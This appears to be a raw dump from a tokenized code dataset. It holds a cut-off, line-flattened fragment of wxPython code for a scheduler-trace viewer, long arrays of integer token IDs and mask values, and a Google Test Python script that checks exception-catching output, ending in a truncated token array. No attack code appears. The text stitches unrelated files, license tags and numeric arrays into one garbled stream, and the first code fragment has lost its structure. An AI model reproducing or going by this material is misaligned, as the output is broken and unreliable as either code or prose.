RootFrame.RECT_SPACE) height = y % (RootFrame.RECT_HEIGHT + RootFrame.RECT_SPACE) if rect < 0 or rect > self.nr_rects - 1 or height > RootFrame.RECT_HEIGHT: return -1 return rect def update_summary(self, txt): if self.txt: self.txt.Destroy() self.txt = wx.StaticText(self.panel, -1, txt, (0, (self.screen_height / 2) + 50)) def on_mouse_down(self, event): (x, y) = event.GetPositionTuple() rect = self.rect_from_ypixel(y) if rect == -1: return t = self.px_to_us(x) + self.ts_start self.sched_tracer.mouse_down(rect, t) def update_width_virtual(self): self.width_virtual = self.us_to_px(self.ts_end - self.ts_start) def __zoom(self, x): self.update_width_virtual() (xpos, ypos) = self.scroll.GetViewStart() xpos = self.us_to_px(x) / self.scroll_scale self.scroll.SetScrollbars(self.scroll_scale, self.scroll_scale, self.width_virtual / self.scroll_scale, self.height_virtual / self.scroll_scale, xpos, ypos) self.Refresh() def zoom_in(self): x = self.scroll_start_us() self.zoom *= 2 self.__zoom(x) def zoom_out(self): x = self.scroll_start_us() self.zoom /= 2 self.__zoom(x) def on_key_press(self, event): key = event.GetRawKeyCode() if key == ord("+"): self.zoom_in() return if key == ord("-"): self.zoom_out() return key = event.GetKeyCode() (x, y) = self.scroll.GetViewStart() if key == wx.WXK_RIGHT: self.scroll.Scroll(x + 1, y) elif key == wx.WXK_LEFT: self.scroll.Scroll(x - 1, y) elif key == wx.WXK_DOWN: self.scroll.Scroll(x, y + 1) elif key == wx.WXK_UP: self.scroll.Scroll(x, y - 1)
gpl-2.0
[ 3, 428, 1809, 4324, 14, 647, 446, 2018, 3329, 367, 8582, 2884, 12, 5678, 17160, 1233, 367, 199, 3, 198, 198, 28388, 17455, 436, 23503, 14, 199, 3, 199, 3, 1898, 334, 35, 9, 7129, 701, 481, 21919, 1567, 2136, 374, 1235, 22043, 665, 70, 1129, 374, 24554, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 2032, 365, 1854, 1334, 314, 2895, 402, 314, 1664, 1696, 199, 3, 1684, 844, 1689, 12006, 531, 1015, 499, 465, 3267, 701, 314, 2868, 2290, 199, 3, 2752, 14, 421, 199, 893, 26, 199, 198, 646, 4818, 199, 2590, 3545, 26, 199, 198, 3730, 3545, 12, 298, 5556, 1929, 370, 3907, 314, 4818, 1548, 1973, 367, 642, 2884, 2, 421, 199, 533, 19059, 8, 6323, 14, 3160, 304, 199, 198, 57, 63, 14839, 275, 2948, 199, 198, 4168, 63, 13509, 275, 2948, 199, 198, 4168, 63, 11658, 275, 5238, 199, 198, 8193, 63, 10520, 1206, 63, 11139, 275, 959, 421, 198, 318, 636, 826, 721, 277, 12, 10286, 63, 16825, 12, 2538, 12, 1676, 275, 488, 12, 1305, 275, 446, 17, 304, 507, 198, 6323, 14, 3160, 855, 826, 721, 277, 12, 1676, 12, 1305, 12, 2538, 9, 2742, 198, 8, 277, 14, 5410, 63, 2063, 12, 291, 14, 5410, 63, 3333, 9, 275, 4818, 14, 1002, 7687, 2320, 342, 507, 198, 277, 14, 5410, 63, 2063, 4862, 1616, 507, 198, 277, 14, 5410, 63, 3333, 4862, 1616, 507, 198, 277, 14, 10598, 275, 378, 14, 21, 507, 198, 277, 14, 6755, 63, 3467, 275, 3388, 507, 198, 277, 14, 10487, 63, 16825, 275, 10286, 63, 16825, 507, 198, 277, 14, 10487, 63, 16825, 14, 409, 63, 1231, 63, 2676, 8, 277, 9, 507, 198, 8, 277, 14, 1086, 63, 928, 12, 291, 14, 1086, 63, 500, 9, 275, 10286, 63, 16825, 14, 4284, 342, 507, 198, 277, 14, 873, 63, 2063, 63, 2065, 342, 507, 198, 277, 14, 7865, 63, 23411, 275, 10286, 63, 16825, 14, 7865, 63, 1201, 13162, 342, 435, 413, 507, 198, 277, 14, 3333, 63, 2065, 275, 19059, 14, 57, 63, 14839, 435, 334, 277, 14, 7865, 63, 23411, 627, 334, 6405, 3160, 14, 4168, 63, 13509, 435, 19059, 14, 4168, 63, 11658, 430, 2742, 198, 3, 8852, 4353, 12748, 507, 198, 277, 14, 7885, 275, 4818, 14, 10185, 8, 277, 12, 1568, 2687, 277, 14, 5410, 63, 2063, 12, 291, 14, 5410, 63, 3333, 430, 2742, 198, 3, 13704, 461, 3970, 507, 198, 277, 14, 6755, 275, 4818, 14, 29145, 4301, 8, 277, 14, 7885, 9, 507, 198, 277, 14, 6755, 14, 1084, 13127, 16264, 8, 277, 14, 6755, 63, 3467, 12, 291, 14, 6755, 63, 3467, 12, 291, 14, 2063, 63, 2065, 1182, 291, 14, 6755, 63, 3467, 12, 291, 14, 3333, 63, 2065, 1182, 291, 14, 6755, 63, 3467, 9, 507, 198, 277, 14, 6755, 14, 6476, 13127, 316, 8, 549, 12, 715, 9, 507, 198, 277, 14, 6755, 14, 1084, 17310, 342, 2742, 198, 3, 13704, 461, 17455, 9150, 507, 198, 277, 14, 6755, 63, 7885, 275, 4818, 14, 10185, 8, 277, 14, 6755, 12, 1568, 2687, 277, 14, 5410, 63, 2063, 446, 4114, 12, 291, 14, 5410, 63, 3333, 1182, 499, 430, 507, 198, 277, 14, 6755, 63, 7885, 14, 8198, 8, 6323, 14, 12093, 63, 8470, 2919, 12, 291, 14, 265, 63, 17486, 9, 507, 198, 277, 14, 6755, 63, 7885, 14, 8198, 8, 6323, 14, 12093, 63, 3078, 63, 8819, 12, 291, 14, 265, 63, 498, 63, 2915, 9, 507, 198, 277, 14, 6755, 63, 7885, 14, 8198, 8, 6323, 14, 12093, 63, 9894, 63, 8819, 12, 291, 14, 265, 63, 10544, 63, 2110, 9, 507, 198, 277, 14, 6755, 14, 8198, 8, 6323, 14, 12093, 63, 8470, 2919, 12, 291, 14, 265, 63, 17486, 9, 507, 198, 277, 14, 6755, 14, 8198, 8, 6323, 14, 12093, 63, 3078, 63, 8819, 12, 291, 14, 265, 63, 498, 63, 2915, 9, 507, 198, 277, 14, 6755, 14, 8198, 8, 6323, 14, 12093, 63, 9894, 63, 8819, 12, 291, 14, 265, 63, 10544, 63, 2110, 9, 2742, 198, 277, 14, 6755, 14, 13776, 342, 507, 198, 277, 14, 13776, 342, 2742, 198, 277, 14, 6755, 63, 7885, 14, 1084, 23370, 2801, 17, 12, 446, 17, 12, 291, 14, 2063, 63, 2065, 12, 291, 14, 3333, 63, 2065, 12, 4818, 14, 4305, 63, 4701, 63, 13301, 1206, 9, 2742, 198, 277, 14, 2424, 275, 488, 2742, 198, 277, 14, 6824, 8, 549, 9, 421, 198, 318, 2739, 63, 475, 63, 5326, 8, 277, 12, 1139, 304, 507, 198, 1107, 1139, 1182, 334, 709, 1011, 650, 9, 627, 291, 14, 10598, 421, 198, 318, 21162, 63, 475, 63, 527, 8, 277, 12, 1139, 304, 507, 198, 1107, 334, 637, 1182, 291, 14, 10598, 9, 627, 334, 709, 1011, 650, 9, 421, 198, 318, 13704, 63, 928, 8, 277, 304, 507, 198, 8, 88, 12, 612, 9, 275, 291, 14, 6755, 14, 1002, 2768, 3162, 342, 507, 198, 1107, 334, 88, 627, 291, 14, 6755, 63, 3467, 12, 612, 627, 291, 14, 6755, 63, 3467, 9, 421, 198, 318, 13704, 63, 928, 63, 527, 8, 277, 304, 507, 198, 8, 88, 12, 612, 9, 275, 291, 14, 6755, 63, 928, 342, 507, 198, 1107, 291, 14, 5326, 63, 475, 63, 527, 8, 88, 9, 421, 198, 318, 32055, 63, 19954, 63, 2619, 8, 277, 12, 14762, 12, 3164, 12, 2746, 63, 2326, 12, 1343, 12, 1284, 304, 507, 198, 2743, 63, 5326, 275, 291, 14, 527, 63, 475, 63, 5326, 8, 928, 446, 291, 14, 1086, 63, 928, 9, 507, 198, 2063, 63, 5326, 275, 291, 14, 527, 63, 475, 63, 5326, 8, 500, 446, 291, 14, 1086, 63, 928, 9, 2742, 198, 2743, 63, 647, 275, 19059, 14, 57, 63, 14839, 435, 334, 7865, 627, 334, 6405, 3160, 14, 4168, 63, 13509, 435, 19059, 14, 4168, 63, 11658, 430, 507, 198, 2063, 63, 647, 275, 19059, 14, 4168, 63, 13509, 2742, 198, 3833, 275, 291, 14, 3833, 2742, 198, 692, 2746, 63, 2326, 365, 440, 488, 26, 686, 198, 8, 82, 12, 486, 12, 330, 9, 275, 2746, 63, 2326, 686, 198, 2119, 63, 2326, 275, 4818, 14 ]
[ 428, 1809, 4324, 14, 647, 446, 2018, 3329, 367, 8582, 2884, 12, 5678, 17160, 1233, 367, 199, 3, 198, 198, 28388, 17455, 436, 23503, 14, 199, 3, 199, 3, 1898, 334, 35, 9, 7129, 701, 481, 21919, 1567, 2136, 374, 1235, 22043, 665, 70, 1129, 374, 24554, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 2032, 365, 1854, 1334, 314, 2895, 402, 314, 1664, 1696, 199, 3, 1684, 844, 1689, 12006, 531, 1015, 499, 465, 3267, 701, 314, 2868, 2290, 199, 3, 2752, 14, 421, 199, 893, 26, 199, 198, 646, 4818, 199, 2590, 3545, 26, 199, 198, 3730, 3545, 12, 298, 5556, 1929, 370, 3907, 314, 4818, 1548, 1973, 367, 642, 2884, 2, 421, 199, 533, 19059, 8, 6323, 14, 3160, 304, 199, 198, 57, 63, 14839, 275, 2948, 199, 198, 4168, 63, 13509, 275, 2948, 199, 198, 4168, 63, 11658, 275, 5238, 199, 198, 8193, 63, 10520, 1206, 63, 11139, 275, 959, 421, 198, 318, 636, 826, 721, 277, 12, 10286, 63, 16825, 12, 2538, 12, 1676, 275, 488, 12, 1305, 275, 446, 17, 304, 507, 198, 6323, 14, 3160, 855, 826, 721, 277, 12, 1676, 12, 1305, 12, 2538, 9, 2742, 198, 8, 277, 14, 5410, 63, 2063, 12, 291, 14, 5410, 63, 3333, 9, 275, 4818, 14, 1002, 7687, 2320, 342, 507, 198, 277, 14, 5410, 63, 2063, 4862, 1616, 507, 198, 277, 14, 5410, 63, 3333, 4862, 1616, 507, 198, 277, 14, 10598, 275, 378, 14, 21, 507, 198, 277, 14, 6755, 63, 3467, 275, 3388, 507, 198, 277, 14, 10487, 63, 16825, 275, 10286, 63, 16825, 507, 198, 277, 14, 10487, 63, 16825, 14, 409, 63, 1231, 63, 2676, 8, 277, 9, 507, 198, 8, 277, 14, 1086, 63, 928, 12, 291, 14, 1086, 63, 500, 9, 275, 10286, 63, 16825, 14, 4284, 342, 507, 198, 277, 14, 873, 63, 2063, 63, 2065, 342, 507, 198, 277, 14, 7865, 63, 23411, 275, 10286, 63, 16825, 14, 7865, 63, 1201, 13162, 342, 435, 413, 507, 198, 277, 14, 3333, 63, 2065, 275, 19059, 14, 57, 63, 14839, 435, 334, 277, 14, 7865, 63, 23411, 627, 334, 6405, 3160, 14, 4168, 63, 13509, 435, 19059, 14, 4168, 63, 11658, 430, 2742, 198, 3, 8852, 4353, 12748, 507, 198, 277, 14, 7885, 275, 4818, 14, 10185, 8, 277, 12, 1568, 2687, 277, 14, 5410, 63, 2063, 12, 291, 14, 5410, 63, 3333, 430, 2742, 198, 3, 13704, 461, 3970, 507, 198, 277, 14, 6755, 275, 4818, 14, 29145, 4301, 8, 277, 14, 7885, 9, 507, 198, 277, 14, 6755, 14, 1084, 13127, 16264, 8, 277, 14, 6755, 63, 3467, 12, 291, 14, 6755, 63, 3467, 12, 291, 14, 2063, 63, 2065, 1182, 291, 14, 6755, 63, 3467, 12, 291, 14, 3333, 63, 2065, 1182, 291, 14, 6755, 63, 3467, 9, 507, 198, 277, 14, 6755, 14, 6476, 13127, 316, 8, 549, 12, 715, 9, 507, 198, 277, 14, 6755, 14, 1084, 17310, 342, 2742, 198, 3, 13704, 461, 17455, 9150, 507, 198, 277, 14, 6755, 63, 7885, 275, 4818, 14, 10185, 8, 277, 14, 6755, 12, 1568, 2687, 277, 14, 5410, 63, 2063, 446, 4114, 12, 291, 14, 5410, 63, 3333, 1182, 499, 430, 507, 198, 277, 14, 6755, 63, 7885, 14, 8198, 8, 6323, 14, 12093, 63, 8470, 2919, 12, 291, 14, 265, 63, 17486, 9, 507, 198, 277, 14, 6755, 63, 7885, 14, 8198, 8, 6323, 14, 12093, 63, 3078, 63, 8819, 12, 291, 14, 265, 63, 498, 63, 2915, 9, 507, 198, 277, 14, 6755, 63, 7885, 14, 8198, 8, 6323, 14, 12093, 63, 9894, 63, 8819, 12, 291, 14, 265, 63, 10544, 63, 2110, 9, 507, 198, 277, 14, 6755, 14, 8198, 8, 6323, 14, 12093, 63, 8470, 2919, 12, 291, 14, 265, 63, 17486, 9, 507, 198, 277, 14, 6755, 14, 8198, 8, 6323, 14, 12093, 63, 3078, 63, 8819, 12, 291, 14, 265, 63, 498, 63, 2915, 9, 507, 198, 277, 14, 6755, 14, 8198, 8, 6323, 14, 12093, 63, 9894, 63, 8819, 12, 291, 14, 265, 63, 10544, 63, 2110, 9, 2742, 198, 277, 14, 6755, 14, 13776, 342, 507, 198, 277, 14, 13776, 342, 2742, 198, 277, 14, 6755, 63, 7885, 14, 1084, 23370, 2801, 17, 12, 446, 17, 12, 291, 14, 2063, 63, 2065, 12, 291, 14, 3333, 63, 2065, 12, 4818, 14, 4305, 63, 4701, 63, 13301, 1206, 9, 2742, 198, 277, 14, 2424, 275, 488, 2742, 198, 277, 14, 6824, 8, 549, 9, 421, 198, 318, 2739, 63, 475, 63, 5326, 8, 277, 12, 1139, 304, 507, 198, 1107, 1139, 1182, 334, 709, 1011, 650, 9, 627, 291, 14, 10598, 421, 198, 318, 21162, 63, 475, 63, 527, 8, 277, 12, 1139, 304, 507, 198, 1107, 334, 637, 1182, 291, 14, 10598, 9, 627, 334, 709, 1011, 650, 9, 421, 198, 318, 13704, 63, 928, 8, 277, 304, 507, 198, 8, 88, 12, 612, 9, 275, 291, 14, 6755, 14, 1002, 2768, 3162, 342, 507, 198, 1107, 334, 88, 627, 291, 14, 6755, 63, 3467, 12, 612, 627, 291, 14, 6755, 63, 3467, 9, 421, 198, 318, 13704, 63, 928, 63, 527, 8, 277, 304, 507, 198, 8, 88, 12, 612, 9, 275, 291, 14, 6755, 63, 928, 342, 507, 198, 1107, 291, 14, 5326, 63, 475, 63, 527, 8, 88, 9, 421, 198, 318, 32055, 63, 19954, 63, 2619, 8, 277, 12, 14762, 12, 3164, 12, 2746, 63, 2326, 12, 1343, 12, 1284, 304, 507, 198, 2743, 63, 5326, 275, 291, 14, 527, 63, 475, 63, 5326, 8, 928, 446, 291, 14, 1086, 63, 928, 9, 507, 198, 2063, 63, 5326, 275, 291, 14, 527, 63, 475, 63, 5326, 8, 500, 446, 291, 14, 1086, 63, 928, 9, 2742, 198, 2743, 63, 647, 275, 19059, 14, 57, 63, 14839, 435, 334, 7865, 627, 334, 6405, 3160, 14, 4168, 63, 13509, 435, 19059, 14, 4168, 63, 11658, 430, 507, 198, 2063, 63, 647, 275, 19059, 14, 4168, 63, 13509, 2742, 198, 3833, 275, 291, 14, 3833, 2742, 198, 692, 2746, 63, 2326, 365, 440, 488, 26, 686, 198, 8, 82, 12, 486, 12, 330, 9, 275, 2746, 63, 2326, 686, 198, 2119, 63, 2326, 275, 4818, 14, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ShaningSoul/pi-qmc
lib/gtest-1.6.0/test/gtest_catch_exceptions_test.py
414
9312
#!/usr/bin/env python # # Copyright 2010 Google Inc. All Rights Reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """Tests Google Test's exception catching behavior. This script invokes gtest_catch_exceptions_test_ and gtest_catch_exceptions_ex_test_ (programs written with Google Test) and verifies their output. """ __author__ = 'vladl@google.com (Vlad Losev)' import os import gtest_test_utils # Constants. FLAG_PREFIX = '--gtest_' LIST_TESTS_FLAG = FLAG_PREFIX + 'list_tests' NO_CATCH_EXCEPTIONS_FLAG = FLAG_PREFIX + 'catch_exceptions=0' FILTER_FLAG = FLAG_PREFIX + 'filter' # Path to the gtest_catch_exceptions_ex_test_ binary, compiled with # exceptions enabled. EX_EXE_PATH = gtest_test_utils.GetTestExecutablePath( 'gtest_catch_exceptions_ex_test_') # Path to the gtest_catch_exceptions_test_ binary, compiled with # exceptions disabled. EXE_PATH = gtest_test_utils.GetTestExecutablePath( 'gtest_catch_exceptions_no_ex_test_') TEST_LIST = gtest_test_utils.Subprocess([EXE_PATH, LIST_TESTS_FLAG]).output SUPPORTS_SEH_EXCEPTIONS = 'ThrowsSehException' in TEST_LIST if SUPPORTS_SEH_EXCEPTIONS: BINARY_OUTPUT = gtest_test_utils.Subprocess([EXE_PATH]).output EX_BINARY_OUTPUT = gtest_test_utils.Subprocess([EX_EXE_PATH]).output # The tests. if SUPPORTS_SEH_EXCEPTIONS: # pylint:disable-msg=C6302 class CatchSehExceptionsTest(gtest_test_utils.TestCase): """Tests exception-catching behavior.""" def TestSehExceptions(self, test_output): self.assert_('SEH exception with code 0x2a thrown ' 'in the test fixture\'s constructor' in test_output) self.assert_('SEH exception with code 0x2a thrown ' 'in the test fixture\'s destructor' in test_output) self.assert_('SEH exception with code 0x2a thrown in SetUpTestCase()' in test_output) self.assert_('SEH exception with code 0x2a thrown in TearDownTestCase()' in test_output) self.assert_('SEH exception with code 0x2a thrown in SetUp()' in test_output) self.assert_('SEH exception with code 0x2a thrown in TearDown()' in test_output) self.assert_('SEH exception with code 0x2a thrown in the test body' in test_output) def testCatchesSehExceptionsWithCxxExceptionsEnabled(self): self.TestSehExceptions(EX_BINARY_OUTPUT) def testCatchesSehExceptionsWithCxxExceptionsDisabled(self): self.TestSehExceptions(BINARY_OUTPUT) class CatchCxxExceptionsTest(gtest_test_utils.TestCase): """Tests C++ exception-catching behavior. Tests in this test case verify that: * C++ exceptions are caught and logged as C++ (not SEH) exceptions * Exception thrown affect the remainder of the test work flow in the expected manner. """ def testCatchesCxxExceptionsInFixtureConstructor(self): self.assert_('C++ exception with description ' '"Standard C++ exception" thrown ' 'in the test fixture\'s constructor' in EX_BINARY_OUTPUT) self.assert_('unexpected' not in EX_BINARY_OUTPUT, 'This failure belongs in this test only if ' '"CxxExceptionInConstructorTest" (no quotes) ' 'appears on the same line as words "called unexpectedly"') def testCatchesCxxExceptionsInFixtureDestructor(self): self.assert_('C++ exception with description ' '"Standard C++ exception" thrown ' 'in the test fixture\'s destructor' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInDestructorTest::TearDownTestCase() ' 'called as expected.' in EX_BINARY_OUTPUT) def testCatchesCxxExceptionsInSetUpTestCase(self): self.assert_('C++ exception with description "Standard C++ exception"' ' thrown in SetUpTestCase()' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInConstructorTest::TearDownTestCase() ' 'called as expected.' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInSetUpTestCaseTest constructor ' 'called as expected.' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInSetUpTestCaseTest destructor ' 'called as expected.' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInSetUpTestCaseTest::SetUp() ' 'called as expected.' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInSetUpTestCaseTest::TearDown() ' 'called as expected.' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInSetUpTestCaseTest test body ' 'called as expected.' in EX_BINARY_OUTPUT) def testCatchesCxxExceptionsInTearDownTestCase(self): self.assert_('C++ exception with description "Standard C++ exception"' ' thrown in TearDownTestCase()' in EX_BINARY_OUTPUT) def testCatchesCxxExceptionsInSetUp(self): self.assert_('C++ exception with description "Standard C++ exception"' ' thrown in SetUp()' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInSetUpTest::TearDownTestCase() ' 'called as expected.' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInSetUpTest destructor ' 'called as expected.' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInSetUpTest::TearDown() ' 'called as expected.' in EX_BINARY_OUTPUT) self.assert_('unexpected' not in EX_BINARY_OUTPUT, 'This failure belongs in this test only if ' '"CxxExceptionInSetUpTest" (no quotes) ' 'appears on the same line as words "called unexpectedly"') def testCatchesCxxExceptionsInTearDown(self): self.assert_('C++ exception with description "Standard C++ exception"' ' thrown in TearDown()' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInTearDownTest::TearDownTestCase() ' 'called as expected.' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInTearDownTest destructor ' 'called as expected.' in EX_BINARY_OUTPUT) def testCatchesCxxExceptionsInTestBody(self): self.assert_('C++ exception with description "Standard C++ exception"' ' thrown in the test body' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInTestBodyTest::TearDownTestCase() ' 'called as expected.' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInTestBodyTest destructor ' 'called as expected.' in EX_BINARY_OUTPUT) self.assert_('CxxExceptionInTestBodyTest::TearDown() ' 'called as expected.' in EX_BINARY_OUTPUT) def testCatchesNonStdCxxExceptions(self): self.assert_('Unknown C++ exception thrown in the test body' in EX_BINARY_OUTPUT) def testUnhandledCxxExceptionsAbortTheProgram(self): # Filters out SEH exception tests on Windows. Unhandled SEH exceptions # cause tests to show pop-up windows there. FITLER_OUT_SEH_TESTS_FLAG = FILTER_FLAG + '=-*Seh*' # By default, Google Test doesn't catch the exceptions. uncaught_exceptions_ex_binary_output = gtest_test_utils.Subprocess( [EX_EXE_PATH, NO_CATCH_EXCEPTIONS_FLAG, FITLER_OUT_SEH_TESTS_FLAG]).output self.assert_('Unhandled C++ exception terminating the program' in uncaught_exceptions_ex_binary_output) self.assert_('unexpected' not in uncaught_exceptions_ex_binary_output) if __name__ == '__main__': gtest_test_utils.Main()
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 7129, 4475, 3277, 14, 221, 2900, 5924, 5702, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 624, 2925, 4475, 1379, 1159, 1919, 8579, 316, 5953, 14, 199, 199, 2765, 2884, 29761, 9088, 63, 9341, 63, 3924, 63, 396, 63, 436, 199, 8385, 63, 9341, 63, 3924, 63, 476, 63, 396, 63, 334, 28464, 5313, 543, 199, 13266, 1379, 9, 436, 22694, 3932, 1072, 14, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 7300, 350, 76, 32, 3098, 14, 957, 334, 54, 76, 350, 491, 3362, 86, 3171, 199, 199, 646, 747, 199, 199, 646, 9088, 63, 396, 63, 1208, 199, 199, 3, 22296, 14, 199, 3719, 63, 6351, 275, 2850, 8385, 8650, 199, 4924, 63, 7569, 63, 3719, 275, 11031, 63, 6351, 435, 283, 513, 63, 2219, 7, 199, 2826, 63, 35, 8078, 63, 25054, 63, 3719, 275, 11031, 63, 6351, 435, 283, 9341, 63, 3924, 29, 16, 7, 199, 9905, 63, 3719, 275, 11031, 63, 6351, 435, 283, 1541, 7, 199, 199, 3, 6912, 370, 314, 9088, 63, 9341, 63, 3924, 63, 476, 63, 396, 63, 3366, 12, 10311, 543, 199, 3, 4967, 5223, 14, 199, 1438, 63, 23017, 63, 3243, 275, 9088, 63, 396, 63, 1208, 14, 28967, 27602, 8, 272, 283, 8385, 63, 9341, 63, 3924, 63, 476, 63, 396, 15452, 199, 199, 3, 6912, 370, 314, 9088, 63, 9341, 63, 3924, 63, 396, 63, 3366, 12, 10311, 543, 199, 3, 4967, 6980, 14, 199, 23017, 63, 3243, 275, 9088, 63, 396, 63, 1208, 14, 28967, 27602, 8, 272, 283, 8385, 63, 9341, 63, 3924, 63, 889, 63, 476, 63, 396, 15452, 199, 199, 2864, 63, 4924, 275, 9088, 63, 396, 63, 1208, 14, 22299, 779, 23017, 63, 3243, 12, 21716, 63, 7569, 63, 3719, 6575, 1199, 199, 199, 10640, 51, 63, 899, 40, 63, 25054, 275, 283, 2719, 3838, 1513, 72, 1726, 7, 315, 7393, 63, 4924, 199, 199, 692, 13756, 51, 63, 899, 40, 63, 25054, 26, 523, 32698, 63, 8414, 275, 9088, 63, 396, 63, 1208, 14, 22299, 779, 23017, 63, 3243, 6575, 1199, 199, 199, 1438, 63, 13246, 63, 8414, 275, 9088, 63, 396, 63, 1208, 14, 22299, 779, 1438, 63, 23017, 63, 3243, 6575, 1199, 199, 199, 3, 710, 2295, 14, 199, 692, 13756, 51, 63, 899, 40, 63, 25054, 26, 523, 327, 4287, 26, 5993, 13, 1328, 29, 35, 2766, 996, 523, 1021, 32754, 